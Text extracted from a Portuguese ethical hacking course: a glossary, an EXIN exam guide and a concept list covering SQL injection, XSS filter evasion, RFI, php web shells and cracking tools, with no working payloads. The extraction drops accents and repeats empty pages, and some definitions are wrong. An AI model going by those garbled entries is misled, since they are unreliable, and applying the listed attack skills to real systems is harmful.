Interface um tipo de interface do utilizador que permite a interao com dispositivos
Grfica do digitais atravs de elementos grficos como cones e outros indicadores visuais,
Usurio (GUI) em contraste a interface de linha de comando.
www.pmgacademy.com
Official Course
ETHICAL HACKING
GLOSSRIO
TERMO SIGNIFICADO
um indivduo que se dedica, com intensidade incomum, a conhecer e modificar
Hackers
os aspectos mais internos de dispositivos, programas e redes de computadores.
Hackers black
hat (chapu Hacker que comete atos ilegais.
preto)
Um Hacker intermedirio. Ele visa aes compatveis com um white hat, mas
Hackers grey
invade sistemas sem que tenha permisso para tal. Por exemplo, a manipulao
hat (chapu
do ranqueamento de websites usando tcnicas de SEO ou a exposio de brechas
cinza)
de segurana em sites governamentais.
Pessoa que utiliza computadores e sistemas de outros para divulgar causas ou
Hacktivistas
bandeiras que defenda. Muitas vezes eles esto no limiar do ciberterrorismo.
Hackers white
Hacker que atua dentro da lei, um Hacker tico ou um profissional que teste a
hat (chapu
segurana de sistemas.
branco)
o comando para base de dados. Este comando vai fazer o dump de todos os
Hashdump hashes de senhas da vtima para que depois voc consiga descobrir quais as
senhas utilizando rainbow tables ou John The Ripper.
Evaso de Tcnica que utiliza uma ferramenta que tem a funo de propositalmente simular
honeypot falhas de segurana de um sistema e colher informaes sobre o invasor.
Escalonamento
um dos nveis de escalonamento de privilgios, os quais envolvem situaes
horizontal de
onde as pessoas tm controles de acesso sob a conta de um usurio diferente.
privilgios
sigla de HyperText Transfer Protocol que em portugus significa "Protocolo de
Transferncia de Hipertexto". um protocolo de comunicao entre sistemas de
HTTP
informao que permite a transferncia de dados entre redes de computadores,
principalmente na World Wide Web (Internet).
Evaso de IDS Tcnica de defesa que utiliza Sistemas de deteco de intruso.
O comando IPCONFIG serve para identificar o endereo de IP do gateway padro
utilizado para acessar a pgina de configurao do seu modem. Escolha a opo
ipconfig /all
executar, digite o comando cmd" e tecle Enter. No prompt de comando
digite (em letras minsculas) o comando ipconfig e tecle Enter.
O iwconfig similar ao comando ifconfig, mas usado para redes wifi. Com este
iwconfig
comando pode-se verificar diversas caractersticas das redes wireless.
www.pmgacademy.com
Official Course
ETHICAL HACKING
GLOSSRIO
TERMO SIGNIFICADO
um software para quebra de senhas. Inicialmente desenvolvido para sistemas
John The unix-like, corre agora em vrios sistemas operativos (como DOS, Windows, Linux,
Ripper (JTR) BSD). Disponvel em verso livre e paga, o John the Ripper capaz fazer fora
bruta em senhas cifradas em DES, MD4 e MD5 entre outras.
uma distribuio GNU/Linux baseada no Debian, considerado o sucessor do
BackTrack. O projeto apresenta vrias melhorias, alm de mais aplicativos, que o
Kali Linux
BackTrack. voltado principalmente para auditoria e segurana de computadores
em geral. desenvolvido e mantido pela Offensive Security Ltd.
www.pmgacademy.com
Official Course
ETHICAL HACKING
GLOSSRIO
TERMO SIGNIFICADO
www.pmgacademy.com
Official Course
ETHICAL HACKING
GLOSSRIO
TERMO SIGNIFICADO
www.pmgacademy.com
Official Course
ETHICAL HACKING
GLOSSRIO
TERMO SIGNIFICADO
www.pmgacademy.com
Official Course
ETHICAL HACKING
GLOSSRIO
TERMO SIGNIFICADO
www.pmgacademy.com
Official Course
ETHICAL HACKING
GLOSSRIO
TERMO SIGNIFICADO
www.pmgacademy.com
Official Course
ETHICAL HACKING
VII GUIA PREPARATRIO
Viso geral
Resumo
A tecnologia da atualidade est se movendo rapidamente emudando a forma de fazermos
negcios. Por padro, as empresas digitalizam todas as informaes, armazenam seus dados na
nuvem e usam software de cdigo aberto. Isso levanta questes de segurana de informaes
relacionadas com a infraestrutura da rede e do sistema.
O mdulo Fundamentos de Ethical Hacking EXIN abrange as etapas bsicas do Ethical Hacking:
coleta de itens de inteligncia, varredura de redes/sistemas de computador e invaso de sistemas.
Os candidatos devero estar muito conscientes da diferena entre o hacking legal e ilegal, bem
como das consequncias de seu uso indevido.
Pblico alvo
Esta certificao destina-se a agentes de segurana, arquitetos de rede, administradores de rede,
auditores de segurana, profissionais de segurana, programadores de computador e especialistas
em redes, gerentes que trabalham na rea de Ethical Hacking e qualquer pessoa interessada em
melhorar e/ou testar a segurana de uma infraestrutura de TI. O mdulo destina-se tambm a
hackers ticos (iniciantes), que querem obter certificao e verificar seus conhecimentos.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Pr-requisito(s)
Nenhum. No entanto, recomenda-se enfaticamente um treinamento em Fundamentos de Ethical
Hacking e conhecimento de Linux.
Tipo do exame
Questes de mltipla escolha realizadas online pelo computador ou impressas em papel.
Indicao de tempo de estudo
Exerccio(s) prtico(s)
No se aplica.
Simulados
Voc pode realizar o download do simulado do exame, que contm exemplos de questes em
www.exin.com.
Treinamento
Tamanho do grupo
Nmero mximo de 12 participantes. Este limite no se aplica aos treinamentos online.
Horas de contato
A carga horria mnima para este treinamento de 16 horas. Isto inclui trabalhos em grupo,
preparao para o exame e pausas curtas. Esta carga horria no inclui trabalhos extra aula,
logstica de preparao para o exame e pausas para almoo.
Provedores de treinamento
Voc pode encontrar a lista dos nossos provedores de treinamento: www.exin.com.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Requisitos do exame
Os Requisitos do Exame esto listados nas especificaes do exame. A tabela a seguir lista os
tpicos do mdulo (Requisitos do Exame). O peso para os diferentes tpicos do exame est
expresso como um percentual do total.
Total 100%
www.pmgacademy.com
Official Course
ETHICAL HACKING
Especificaes do exame
www.pmgacademy.com
Official Course
ETHICAL HACKING
2. Hacking baseado na web 30%
2.1. Ataques a bancos de dados
2.1.1. O candidato conhece os passos para testar as vulnerabilidades de SQLi.
2.1.2. O candidato sabe explicar como extrair dados com a SQLi.
2.1.3. O candidato conhece as seguintes funes: CONCAT, LOAD_FILE, UNION, SELECT, @@version,
ORDER BY, LIMIT
2.2. Ataques ao cliente
2.2.1. O candidato sabe criar uma PoC (Prova de Conceito) de XSS.
2.2.2. O candidato conhece os conceitos bsicos de sequestro de sesso i/c/w XSS.
2.2.3. O candidato sabe evitar os filtros bsicos de XSS.
2.3. Ataques ao servidor
2.3.1. O candidato sabe como um RFI executado.
2.3.2. O candidato conhece as funcionalidades bsicas dos shells php, como r57 e c99.
2.3.3. O candidato sabe a diferena entre os shells connect Bind & Back e o que eles fazem.
www.pmgacademy.com
Official Course
ETHICAL HACKING
Lista de conceitos bsicos
Por favor, note que o conhecimento destes termos de maneira independente no suficiente para
o exame; O candidato deve compreender os conceitos e estar apto a fornecer exemplos.
Os termos so listados na ordem alfabtica. Para os conceitos cuja abreviatura e nomes completos
so includos na lista, ambos podem ser examinados separadamente.
@@ version @@ version
+x eXecute +x eXecute
Aircrack-ng Aircrack-ng
Aireplay-ng Aireplay-ng
Airodump-ng Airodump-ng
arpspoof arpspoof
BackTrack BackTrack
Bind & Back (Reverse) connect shells Shells connect Bind & Back (Reverse)
CONCAT CONCAT
www.pmgacademy.com
Official Course
ETHICAL HACKING
English Brazilian Portuguese
Hackers Hackers
Hacktivists Hacktivistas
Hashdump Hashdump
HTTP HTTP
iwconfig iwconfig
www.pmgacademy.com
Official Course
ETHICAL HACKING
English Brazilian Portuguese
Keyloggers Keyloggers
Kismet Kismet
LIMIT LIMIT
LOAD_FILE LOAD_FILE
Metasploit Metasploit
Nessus Nessus
Netcat Netcat
Nikto Nikto
Nmap Nmap
Nonce Nonce
ORDER BY ORDER BY
www.pmgacademy.com
Official Course
ETHICAL HACKING
English Brazilian Portuguese
php-shell php-shell
o c99shell o c99shell
o r57shell o r57shell
Ping Ping
Explorao de escalonamento de privilgios
Privilege Escalation Exploit / Kernel exploit
/ explorao de kernel
Proof of Concept (PoC) Prova de Conceito (PoC)
Reconnaissance Reconhecimento
Scanning Varredura
SELECT SELECT
Shell Shell
Spoofing Forjamento
sqlmap Sqlmap
www.pmgacademy.com
Official Course
ETHICAL HACKING
English Brazilian Portuguese
TCPdump TCPdump
Tshark Tshark
Vertical privilege escalation (or Privilege Escalonamento de privilgios verticais (ou
elevation) elevao de privilgios)
UNION UNION
Wireshark Wireshark
WPA2 WPA2
www.pmgacademy.com
Official Course